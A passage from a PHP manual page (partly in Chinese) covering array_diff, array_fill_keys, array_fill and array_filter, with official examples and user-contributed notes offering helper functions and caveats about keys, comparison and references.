$aDiff['marcie'] = array('pasta' => 1);
$aDiff['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);
?>

Ok, now some comments about this function:
 - Different from the PHP array_diff, this function DON′T uses the === operator, but the ==, so 0 is equal to '0' or false, but this can be changed with no impacts.
 - This function checks the keys of the arrays, array_diff only compares the values.

I realy hopes that this could help some1 as I′ve been helped a lot with some users experiences. (Just please double check if it would work for your case, as I sad I just tested to a scenario like the one I exposed)

<?php
function arrayRecursiveDiff($aArray1, $aArray2) {
    $aReturn = array();

    foreach ($aArray1 as $mKey => $mValue) {
        if (array_key_exists($mKey, $aArray2)) {
            if (is_array($mValue)) {
                $aRecursiveDiff = arrayRecursiveDiff($mValue, $aArray2[$mKey]);
                if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
            } else {
                if ($mValue != $aArray2[$mKey]) {
                    $aReturn[$mKey] = $mValue;
                }
            }
        } else {
            $aReturn[$mKey] = $mValue;
        }
    }

    return $aReturn;
}
?>
Tim Trefren 04-Apr-2008 08:05
Here's a little wrapper for array_diff - I found myself needing to iterate through the edited array, and I didn't need to original keys for anything.

<?php
function arrayDiff($array1, $array2){
    # This wrapper for array_diff rekeys the array returned
    $valid_array = array_diff($array1,$array2);

    # reinstantiate $array1 variable
    $array1 = array();

    # loop through the validated array and move elements to $array1
    # this is necessary because the array_diff function returns arrays that retain their original keys
    foreach ($valid_array as $valid){
        $array1[] = $valid;
        }
    return $array1;
    }
?>
merlinyoda at dorproject dot net 28-Mar-2008 10:11
As touched on in kitchin's comment of 19-Jun-2007 03:49 and nilsandre at gmx dot de's comment of 17-Jul-2007 10:45, array_diff's behavior may be counter-intuitive if you aren't thinking in terms of set theory.

array_diff() returns a *mathematical* difference (a.k.a. subtraction) of elements in array A that are in array B and *not* what elements are different between the arrays (i.e. those that elements that are in either A or B but aren't in both A and B).

Drawing one of those Ven diagrams or Euler diagrams may help with visualization...

As far as a function for returning what you may be expecting, here's one:

<?php
function array_xor ($array_a, $array_b) {
    $union_array = array_merge($array_a, $array_b);
    $intersect_array = array_intersect($array_a, $array_b);
    return array_diff($union_array, $intersect_array)
}
?>
nilsandre at gmx dot de 17-Jul-2007 09:45
Again, the function's description is misleading right now. I sought a function, which (mathematically) computes A - B, or, written differently, A \ B. Or, again in other words, suppose

A := {a1, ..., an} and B:= {a1, b1, ... , bm}

=> array_diff(A,B) = {a2, ..., an}

array_diff(A,B) returns all elements from A, which are not elements of B (= A without B).

You should include this in the documentation more precisely, I think.
kitchin 19-Jun-2007 02:49
Until recently, the description said:
"array_diff() returns an array containing all the values of array1 that are not present in any of the other arguments. Note that keys are preserved."

Now it says:
"Compares array1 against array2 and returns the difference."

Now it's not clear what the optional arguments after the first two do.  Also, the difference is not symmetric in its arguments (that is array_intersect).
gilthans at NOgmailSPAM dot com 13-Jun-2007 10:11
I needed a function to only remove the element the amount of times he appears in the second array. In other words, if you have Array(1, 1, 2) and Array(1), the return value should be Array(1, 2).
So I built this function right here:

<?php
function array_diff_once(){
    if(($args = func_num_args()) < 2)
        return false;
    $arr1 = func_get_arg(0);
    $arr2 = func_get_arg(1);
    if(!is_array($arr1) || !is_array($arr2))
        return false;
    foreach($arr2 as $remove){
        foreach($arr1 as $k=>$v){
            if((string)$v === (string)$remove){ //NOTE: if you need the diff to be STRICT, remove both the '(string)'s
                unset($arr1[$k]);
                break; //That's pretty much the only difference from the real array_diff :P
            }
        }
    }
    //Handle more than 2 arguments
    $c = $args;
    while($c > 2){
        $c--;
        $arr1 = array_diff_once($arr1, func_get_arg($args-$c+1));
    }
    return $arr1;
}
$arr1 = Array("blue", "four"=>4, "color"=>"red", "blue", "green", "green", "name"=>"jon", "green");
$arr2 = Array("4", "red", "blue", "green");
print_r(array_diff_once($arr1, $arr2));
?>
This prints:
Array ( [1] => blue [3] => green [name] => jon [4] => green )

Note that it removes the elements left to right, opposite to what you might expect; in my case the order of elements had no importance. Fixing that would require a small variation.
tim at php dot user 04-Jun-2007 08:06
The description is wrong, array_diff() returns an array consisting of all elements in $array1 that are not in $array2. The example shows this.

Thats how it works on my php anyway.
ahigerd at stratitec dot com 01-Feb-2007 02:30
An earlier comment suggested using array_merge() to reindex the array. While this will work, array_values() is about 30-40% faster and accomplishes the same task.
03-Aug-2006 12:30
array_diff provides a handy way of deleting array elements by their value, without having to unset it by key, through a lengthy foreach loop and then having to rekey the array.

<?php

//pass value you wish to delete and the array to delete from
function array_delete( $value, $array)
{
    $array = array_diff( $array, array($value) );
    return $array;
}
?>
ben dot lancaster at design-ontap dot co dot uk 07-Jul-2006 04:57
One common caveat of this function is that if the arrays match, an empty array is return, not a strict boolean. E.g.:

<?php
$array1 = $array2 = array('a','b','c');

var_dump(array_diff($array1,$array2));
/*
 *Returns:
 * array(0) {
 * }
 */
?>
pavlicic at NOSPAM dot hotmail dot com 09-Mar-2006 01:55
<?php

// first array
$vid_player = $vm->getVideosByPlayer($player);

// second array
$vid_playlist = $vm->getVideosByPlaylist($playlist);

// this will not work...
$vid_player = array_diff($vid_player, $vid_playlist);

// but if you do this first...
$videos = array();
foreach ( $vid_player as $player )
{
    if ( $vid_playlist != null )
    {
        foreach ( $vid_playlist as $video )
        {
            if ( $player->id == $video->id )
                $videos[] = $player;
        }
    }
}

// this will work...
$vid_player = array_diff($vid_player, $videos);

?>
The first array_diff() compares two arrays only to find out that all the objects are unique!
Jappie 22-Jan-2006 10:40
Sorry for the bug in my last comment (probably rightfully removed by the admins).
If you want to compare more than 2 arrays, or don't know how many arrays need to be compared, this is your function:

<?php
# An extention to array_diff:
# It returns an array of all values not present in all arrays given. If '$strict' is true,
# it returns all values not present or not in the same order in all arrays given. The
# arrays to compare must be placed in another array, which is used as argument '$arrays'.
# Returns false if the '$arrays' is invalid.
function array_rdiff ($arrays, $strict = false) {
    # check if argument is valid.
    if (!is_array ($arrays))
        return false;
    foreach ($arrays as $array)
        if (!is_array ($array))
            return false;

    # set working variables
    $diff    = array ();
    $amount  = count ($arrays);
    $needles = array_shift ($arrays);

    # compare
    for ($n = 0; $n < $amount; $n++) {
        for ($m = 0; $needles[$m]; $m++) {
            $found     = true;
            $positions = array ($m);
            foreach ($arrays as $haystack) {
                if (($pos = array_search ($needles[$m], $haystack)) === false)
                    $found = false;
                if ($strict)
                    $positions[] = $pos;
            }
            if (!$found)
                $diff[] = $needle;
            elseif ($strict && (count (array_unique ($positions)) > 1))
                $diff[] = $needle;
        }
        $arrays[] = $needles;
        $needles  = array_shift ($arrays);
    }
    return array_unique ($diff);
}
?>
Simon Riget at paragi.dk 21-Jan-2006 05:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
    unset($dv);
    if(is_int($k)){
      // Compare values
      if(array_search($v,$a2)===false) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[]=$dv;
    }else{
      // Compare noninteger keys
      if(!$a2[$k]) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[$k]=$dv;
    }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
doug at NOSPAM dot thrutch dot co dot uk 06-Jan-2006 04:22
After spending half an hour scratching my head wondering why this function wasn't working I realised I had the arguments the wrong way round!

I needed to remove the contents of $array1 from $array2 so I tried:

<?php
$diff    = array_diff($members1, $members2);
?>

WRONG!! A quick swap around and things worked smoothly...

<?php
$diff    = array_diff($members2, $members1);
?>

Hope this saves someone a bit of bother
air at multi dot fi 04-Jan-2006 03:41
A small thing that caused me trouble today, wich I don't see listed on this page is that array_diff keeps the placing for the uniqe values, and removes the duplicated. This gives us empty fields in the array, wich caused me a lot of trouble. The solutions was simply to use array_merge() around the array_diff.

For example:
$array1 = array('blue', 'red', 'green');
$array2 = array('red');

array_diff($array1, $array2);

Will give us:
------
Array
(
   [0] => red
   [1] =>
   [2] => green
)

But if we use:

array_merge(array_diff($array1, $array2));

We will get:
------
Array
(
   [0] => red
   [1] => green
)
Viking Coder 03-Jan-2006 09:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
    [0] => red
    [1] => yellow
)
rafmav 19-Apr-2005 04:24
Here is a few functions to do a fast diff between two arrays in a few lines.
You can use it with other functions described in the function array_merge : array_merge_replace from an other user, and two functions using it : array_merge_diff and array_merge_diff_reverse.
Note that the keys are preserved!
<?
// returns a two dimensions array with the deleted data
// and the added data
function array_diff_both($new,$old)
{
    $del=array_diff_assoc($old,$new);
    $add=array_diff_assoc($new,$old);
    return $diff=array("del"=>$del, "add"=>$add);
}

// returns a two dimensions array with the equal data,
// deleted data and the added data
function array_diff_all($arr_new,$arr_old)
{
    $arr_equ=array_intersect_assoc($arr_new,$arr_old);
    $arr_del=array_diff_assoc($arr_old,$arr_new);
    $arr_add=array_diff_assoc($arr_new,$arr_old);
    return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}
?>
j dot j dot d dot mol at ewi dot tudelft dot nl 31-Dec-2004 12:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
      $unused = array();

      // prefixes are not needed for sorting
      sort( $all );
      sort( $used );

      $a = 0;
      $u = 0;

      $maxa = sizeof($all)-1;
      $maxu = sizeof($used)-1;

      while( true ) {
          if( $a > $maxa ) {
              // done; rest of $used isn't in $all
              break;
          }
          if( $u > $maxu ) {
              // rest of $all is unused
              for( ; $a <= $maxa; $a++ ) {
                  $unused[] = $all[$a];
              }
              break;
          }

          if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
              // $used[$u] isn't in $all?
              $u++;
              continue;
          }

          if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
              // $all[$a] is used
              $a++;
              $u++;
              continue;
          }

          $unused[] = $all[$a];

          $a++;
      }

      return $unused;
  }
?>
18-Nov-2003 04:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
csaba2000 at yahoo dot com 25-Feb-2003 01:58
<?php
function array_key_diff($ar1, $ar2) {  // , $ar3, $ar4, ...
    // returns copy of array $ar1 with those entries removed
    // whose keys appear as keys in any of the other function args
    $aSubtrahends = array_slice(func_get_args(),1);
    foreach ($ar1 as $key => $val)
        foreach ($aSubtrahends as $aSubtrahend)
            if (array_key_exists($key, $aSubtrahend))
                unset ($ar1[$key]);
    return $ar1;
}

$a = array("c" => "catty", "b" => "batty", "a" => "aunty", 5 => 4, 2.9 => 7, 11, "n" => "nutty");
$b = array(9, "d" => "ditty", "b" => "bratty", "a" => null, 10, 13);
$c = array_key_diff ($a, $b, array(5 => 6));
?>

$c is then equivalent to array('c' => 'catty', 6 => 11, 'n' => 'nutty')

Csaba Gabor from New York
ds2u at the hotmail dot com 23-Feb-2003 04:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
drNOSPAMtdiggersSPAMNO at hotmail dot com 06-Aug-2002 01:10
array_diff does not have buggy behavior as described above.  The problem stems from calling array_diff() each time in the loop, therefore regererating a new array with an index always at the beginning EVERY time, so each will always pick the first entry.  This is not buggy, but in fact what you've told the program to do :)  The solution is not as much a solution, but properly instructing the program what to do!

Cheers!
TheoDiggers
SeanECoates at !donotspam!yahoo dot ca 16-Oct-2001 10:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S


使用指定的键和值填充数组

  • ? array_diff
  • array_fill ?
  • PHP Manual
  • 数组 函数
  • 使用指定的键和值填充数组

array_fill_keys

(PHP 5 >= 5.2.0, PHP 7)

array_fill_keys — 使用指定的键和值填充数组

说明

array_fill_keys ( array $keys , mixed $value ) : array

使用 value 参数的值作为值，使用 keys 数组的值作为键来填充一个数组。

参数

keys

使用该数组的值作为键。非法值将被转换为字符串。

value

填充使用的值。

返回值

返回填充后的数组。

范例

Example #1 array_fill_keys() 范例

<?php
$keys = array('foo', 5, 10, 'bar');
$a = array_fill_keys($keys, 'banana');
print_r($a);
?>

以上例程会输出：

Array
(
    [foo] => banana
    [5] => banana
    [10] => banana
    [bar] => banana
)

参见

  • array_fill() - 用给定的值填充数组
  • array_combine() - 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

User Contributed Notes

ntd at entidi dot it 23-Oct-2015 07:04
To remove arbitrary keys from an associative array:

<?php

function nuke_keys($keys, $array) {
    return array_diff_key($array, array_fill_keys($keys, 0));
}

$array = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$keys  = array('red', 'purple');

print_r(nuke_keys($keys, $array));
?>

The above snippet will return:

Array
(
    [blue] => 1
    [green] => 3
)
taylanaktepe at yahoo dot com 21-Jul-2014 09:46
$keys = array(1, 2, 3);

// Fill it with value.
$keys = array_fill_keys($keys, 'banana');
print_r($keys);

// Fill it different value.
$apples = array_fill_keys(array_keys($keys), 'apple');
print_r($apples);

// Output:
Array (
 [1] => banana
 [2] => banana
 [3] => banana
)
Array (
 [1] => apple
 [2] => apple
 [3] => apple
)
atul dot kr_singh at hotmail dot com 04-Jan-2013 11:39
If an associative array is used as the second parameter of array_fill_keys, then the associative array will be appended in all the values of the first array.
e.g.
<?php
$array1 = array(
    "a" => "first",
    "b" => "second",
    "c" => "something",
    "red"
);

$array2 = array(
    "a" => "first",
    "b" => "something",
    "letsc"
);

print_r(array_fill_keys($array1, $array2));
?>

The output will be
Array(
    [first] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [second] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [something] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    ),
    [red] => Array(
        [a] => first,
        [b] => something,
        [0] => letsc
    )
)
sergli at nigma dot ru 25-May-2012 11:53
<?php
$a = array("1");

var_dump(array_fill_keys($a, "test"));
?>

array(1) {
  [1]=>
  string(4) "test"
}

now string key "1" become an integer value 1, be careful.
matrebatre 20-Jun-2008 07:28
This function does the same as:
<?php
$array = array_combine($keys,array_fill(0,count($keys),$value));
?>
phydeaux 14-May-2008 10:26
Scratchy's version still doesn't work like the definition describes.  Here's one that can take a mixed variable as the second parameter, defaulting to an empty string if it's not specified.  Don't know if this is exactly how the function works in later versions but it's at least a lot closer.

function array_fill_keys($target, $value = '') {
    if(is_array($target)) {
        foreach($target as $key => $val) {
            $filledArray[$val] = is_array($value) ? $value[$key] : $value;
        }
    }
    return $filledArray;
}

This works for either strings or numerics, so if we have

$arr1 = array(0 => 'abc', 1 => 'def');
$arr2 = array(0 => 452, 1 => 128);
$arr3 = array(0 => 'foo', 1 => 'bar');

then

array_fill_keys($arr1,$arr2)
returns: [abc] => 452, [def] => 128

array_fill_keys($arr1,0)
returns: [abc] => 0, [def] => 0

array_fill_keys($arr2,$arr3)
returns: [452] => foo, [128] => bar

array_fill_keys($arr3,'BLAH')
returns: [foo] => BLAH, [bar] => BLAH

and array_fill_keys($arr1)
returns: [abc] =>, [def] =>
Scratchy 02-May-2008 02:18
RE: bananasims at hotmail dot com

I also needed a work around to not having a new version of PHP and wanting my own keys. bananasims code doesn't like having an array as the second parameter...

Here's a slightly modified version than can handle 2 arrays as inputs:

//we want these values to be keys
$arr1 = (0 => "abc", 1 => "def");
/we want these values to be values
$arr2 = (0 => 452, 1 => 128);

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

array_fill_keys($arr1, $arr2);

returns:
abc => 452, def =>128
bananasims at hotmail dot com 19-Dec-2006 05:03
Some of the versions do not have this function.
I try to write it myself.
You may refer to my script below

function array_fill_keys($array, $values) {
    if(is_array($array)) {
        foreach($array as $key => $value) {
            $arraydisplay[$array[$key]] = $values;
        }
    }
    return $arraydisplay;
}


用给定的值填充数组

  • ? array_fill_keys
  • array_filter ?
  • PHP Manual
  • 数组 函数
  • 用给定的值填充数组

array_fill

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

array_fill — 用给定的值填充数组

说明

array_fill ( int $start_index , int $num , mixed $value ) : array

array_fill() 用 value 参数的值将一个数组填充 num 个条目，键名由 start_index 参数指定的开始。

参数

start_index

返回的数组的第一个索引值。

如果 start_index 是负数， 那么返回的数组的第一个索引将会是 start_index ，而后面索引则从0开始。 (参见 例子)。

num

插入元素的数量。 必须大于或等于 0。

value

用来填充的值。

返回值

返回填充后的数组。

错误／异常

如果 num 小于零，将会抛出 E_WARNING。

更新日志

版本 | 说明
5.6.0 | num 现在可以是零。 之前 num 必须大于零。

范例

Example #1 array_fill() 例子

<?php
$a = array_fill(5, 6, 'banana');
$b = array_fill(-2, 4, 'pear');
print_r($a);
print_r($b);
?>

以上例程会输出：

Array
(
    [5]  => banana
    [6]  => banana
    [7]  => banana
    [8]  => banana
    [9]  => banana
    [10] => banana
)
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)

注释

参见手册上 数组 一节里关于负数的键的详细解释。

参见

  • array_fill_keys() - 使用指定的键和值填充数组
  • str_repeat() - 重复一个字符串
  • range() - 根据范围创建数组，包含指定的元素

User Contributed Notes

Hayley Watson 13-Jan-2018 11:57
Fill missing keys in a (numerically-indexed) array with a default value

<?php

function fill_missing_keys($array, $default = null, $atleast = 0)
{
    return $array + array_fill(0, max($atleast, max(array_keys($array))), $default);
}

?>
anatoliy at ukhvanovy dot name 16-Jun-2014 10:00
If you need negative indices:
<?php
$b = array_fill(-2, 4, 'pear');//this is not what we want
$c = array_fill_keys(range(-2,1),'pear');//these are negative indices
print_r($b);
print_r($c);
?>
Here is result of the code above:
Array
(
    [-2] => pear
    [0] => pear
    [1] => pear
    [2] => pear
)
Array
(
    [-2] => pear
    [-1] => pear
    [0] => pear
    [1] => pear
)
mchljnk at NOSPAM dot gmail dot com 10-Nov-2013 03:07
Using objects with array_fill may cause unexpected results. Consider the following:

<?php
class Foo {
   public $bar = "banana";
}

//fill an array with objects
$array = array_fill(0, 2, new Foo());

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(6) "banana"
  }
} */

//now we change the attribute of the object stored in index 0
//this actually changes the attribute for EACH object in the ENTIRE array
$array[0]->bar = "apple";

var_dump($array);
/*
array(2) {
  [0]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
  [1]=>
  object(Foo)#1 (1) {
    ["bar"]=>
    string(5) "apple"
  }
}
 */
?>

Objects are filled in the array BY REFERENCE. They are not copied for each element in the array.
miguelxpain at gmail dot com 24-Feb-2012 06:04
I made this function named "array_getMax" that returns te maximum value and index, from array:

<?php
//using array_search_all by helenadeus at gmail dot com

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

function array_getMax($array){

    $conteo=array_count_values($array);

    if( count($conteo)==1 ){//returns full array when all values are the same.
        return  $array;
    }

    arsort($array);

    //$antValue=null;
    $maxValue=null;
    $keyValue=null;
    foreach($array as $key=>$value){
        if($maxValue==null){
            $maxValue=$value;
            $keyValue=$key;
            break;
        }
    }

    $resultSearch=array_search_all($maxValue, $array);

   return  array_fill_keys($resultSearch, $maxValue);

}

//example
  $arreglo=array('e1'=>99,'e2'=>'99','e3'=>1,'e4'=>1,'e5'=>98);

    var_dump(array_getMax($arreglo));

//output
/*
array(2) {
  ["e1"]=>
  int(99)
  ["e2"]=>
  int(99)
}
*/
?>

I hope some one find this usefull
csst0266 at cs dot uoi dot gr 11-Aug-2004 10:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
25-Aug-2002 01:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
  $indexmax = -1;
  for (end($array); $key = key($array); prev($array)) {
    if ($key > $indexmax)
      $indexmax = $key;
  }
  for ($i = 0; $i <= $indexmax; $i++) {
    if (!isset($array[$i]))
      $array[$i] = $fill;
  }
  ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.


用回调函数过滤数组中的单元

  • ? array_fill
  • array_flip ?
  • PHP Manual
  • 数组 函数
  • 用回调函数过滤数组中的单元

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_filter — 用回调函数过滤数组中的单元

说明

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数

array

要循环的数组

callback

使用的回调函数

如果没有提供 callback 函数， 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。

flag

决定callback接收的参数形式:

  • ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数
  • ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值

返回值

返回过滤后的数组。

更新日志

版本 | 说明
5.6.0 | 添加可选的参数 flag，以及常量 ARRAY_FILTER_USE_KEY 和 ARRAY_FILTER_USE_BOTH。

范例

Example #1 array_filter() 例子

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

以上例程会输出：

Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

Example #2 不使用 callback 时的array_filter()

<?php

$entry = array(
             0 => 'foo',
             1 => false,
             2 => -1,
             3 => null,
             4 => ''
          );

print_r(array_filter($entry));
?>

以上例程会输出：

Array
(
    [0] => foo
    [2] => -1
)

Example #3 带 flag 标记的 array_filter()

<?php

$arr = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];

var_dump(array_filter($arr, function($k) {
    return $k == 'b';
}, ARRAY_FILTER_USE_KEY));

var_dump(array_filter($arr, function($v, $k) {
    return $k == 'b' || $v == 4;
}, ARRAY_FILTER_USE_BOTH));
?>

以上例程会输出：

array(1) {
  ["b"]=>
  int(2)
}
array(2) {
  ["b"]=>
  int(2)
  ["d"]=>
  int(4)
}

注释

Caution

用户不应在回调函数中修改数组本身。例如增加／删除单元或者对 array_filter() 正在作用的数组进行 unset。如果数组改变了，此函数的行为将不可预测。

参见

  • array_map() - 为数组的每个元素应用回调函数
  • array_reduce() - 用回调函数迭代地将数组简化为单一的值
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

raj at rafa dot eu dot org 17-Aug-2018 11:54
Here is a simple array_grep() function that works similarly to 'grep' command, ie. filters array elements that match a given regular expression.

It's a bit ugly as it uses a global variable $__array_grep_regex to pass the regular expression to the callback function. I couldn't find a better way to do it. Anyway, here it is:

<?php
$__array_grep_regex="";

function array_grep($arr, $regex) {
global $__array_grep_regex;
$__array_grep_regex=$regex;
return array_filter($arr, function($val) {
  global $__array_grep_regex;
  return preg_match($__array_grep_regex, $val);
});
}
?>
nsrwork(dog)gmail 01-Jun-2018 03:48
If we need to find array in the multidimenssional array (with ignore keys!)

// where we will find
$arrays = [
    ['c','b','a'],  ['e','f','g'],  ['j','h','t']
];

// what we will find
$array = ['a','b','c'];

function isArrayExist($arrays, $array)
{
    return (bool) array_filter($arrays, function ($_array) use ($array) {
        return !array_diff($array, $_array);
    });
}

//Output
true
Anonymous 15-Mar-2018 09:10
<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}

function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

shouldtnt the '&' operators in the function be a '%' ? Is this a typo or do I not undertsand PHP
bimal at sanjaal dot com 12-Dec-2017 11:29
I needed to filter specific files. glob was a good option but had issues being case sensitive. And at the same time, I had to filter the directory names like ".", "..", ".git", etc which could be complex.

I used a snippet as below, where I could implement this complex filter. Just modify your method: image_file.

<?php

class handlers
{
    private $path;
    public function __construct($path)
    {
        $this->path = realpath($path);
    }

    public function image_file($file="abc.png")
    {
        $is_image_file = is_file($this->path."/".$file);

        return $is_image_file;
    }
}

$path = realpath("../../gallery-200x400");

$files = scandir($path);
print_r($files);

$files = array_filter($files, array(new handlers($path), "image_file"), ARRAY_FILTER_USE_BOTH);
print_r($files);
?>
jimmmy dot chief at gmail dot com 22-Sep-2017 03:50
Hi, when using your annonymous function to filter the array, DO NOT cast returning value as bool.
Any value won't be filtered that way.

example:

$reader = array(
    1,2,3,2,1,2,1,2,1
);

$a = array_filter($reader, function ($var) {
    return (bool) $var == 2;    //returns whole array
    return $var == 2;           //filter values
});

echo count($a);     //9 with cast as bool, 4 otherwise
nicolaj dot knudsen at gmail dot com 05-Apr-2017 12:05
If you like me have some trouble understanding example #1 due to the bitwise operator (&) used, here is an explanation.

The part in question is this callback function:

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}
?>

If given an integer this function returns the integer 1 if $var is odd and the integer 0 if $var is even.
The single ampersand, &, is the bitwise AND operator. The way it works is that it takes the binary representation of the two arguments and compare them bit for bit using AND. If $var = 45, then since 45 in binary is 101101 the operation looks like this:

45 in binary: 101101
1 in binary:  000001
              ------
result:       000001

Only if the last bit in the binary representation of $var is changed to zero (meaning that the value is even) will the result change to 000000, which is the representation of zero.
yuzhen huang 16-May-2015 01:49
from php  5.3,  we use anonymous function as second argument:

$a = array('a'=>1, 'b'=>2, 'c'=>false, 'd'=>0);
$b = array_filter($a, function($v){return $v !== 0;});
var_dump($b);

output:
array(3) {
  'a' =>
  int(1)
  'b' =>
  int(2)
  'c' =>
  bool(false)
}
njt1982 at yahoo dot com 30-Apr-2015 01:18
If you have an array of KV pairs and you want all the items where a value is X, you dont need to make a callback for array_filter. You can use array_intersect:

<?php
print_r(array_intersect(
  array(
    'a' => 1,
    'b' => 1,
    'c' => 1,
    'd' => 2,
    'e' => 2,
    'f' => 2,
  ),
  array(1)
));

Array
(
    [a] => 1
    [b] => 1
    [c] => 1
)
?>

The advantage of this approach is you can pass variables into the second array without needing to worry about variable scope and function parameters for array_filter.
manuelworks at gmail dot com 16-Apr-2015 03:34
I needed to get the complete array element of a multilevel array where the values of some elements where 'x' or 'y'. Kind of a WHERE  AND in a MySQL Query..

SO if you need to filter an array where 'X' = Y and 'a' = b, here you go.

<?php
/*
 * getArrayElement() by @MmO12
 *
 * SELECT an element of  an $array...
 * *$array = array( 0 => array('index1'  => 'a', 'index2' => 'b', 'value' => 'hello'),
                1 => array('index1'  => 'a', 'index2' => 'c', 'value' => 'bye'));
*
 * WHERE its $indexs values  are equal to...
 * * $indexs = array('index1' => 'a', 'index2'=>'b');
 */
function getArrayElement($array, $indexs, $justvalsplease = false){
    $newarray = false;
    //verificamos el array
    if(is_array($array) && count($array)>0){

        //verify indexs and get # of indexs
        if(is_array($indexs) && count($indexs)>0) $ninds = count($indexs);
        else return false;

        //search for coincidences
        foreach(array_keys($array) as $key){

            //index value coincidence counter.
            $count = 0;

            //for each index we search
            foreach($indexs as $indx => $val){

                //if index value is equal then counts
                if($array[$key][$indx] == $val){
                    $count++;
                }
            }
            //if indexes match, we get the array elements :)
            if($count == $ninds){

                //if you only need the vals of the first coincidence
                //witch was my case by the way...
                if($justvalsplease) return $array[$key];
                else $newarray[$key] = $array[$key];
            }
        }
    }
  return $newarray;
}
?>

/*******
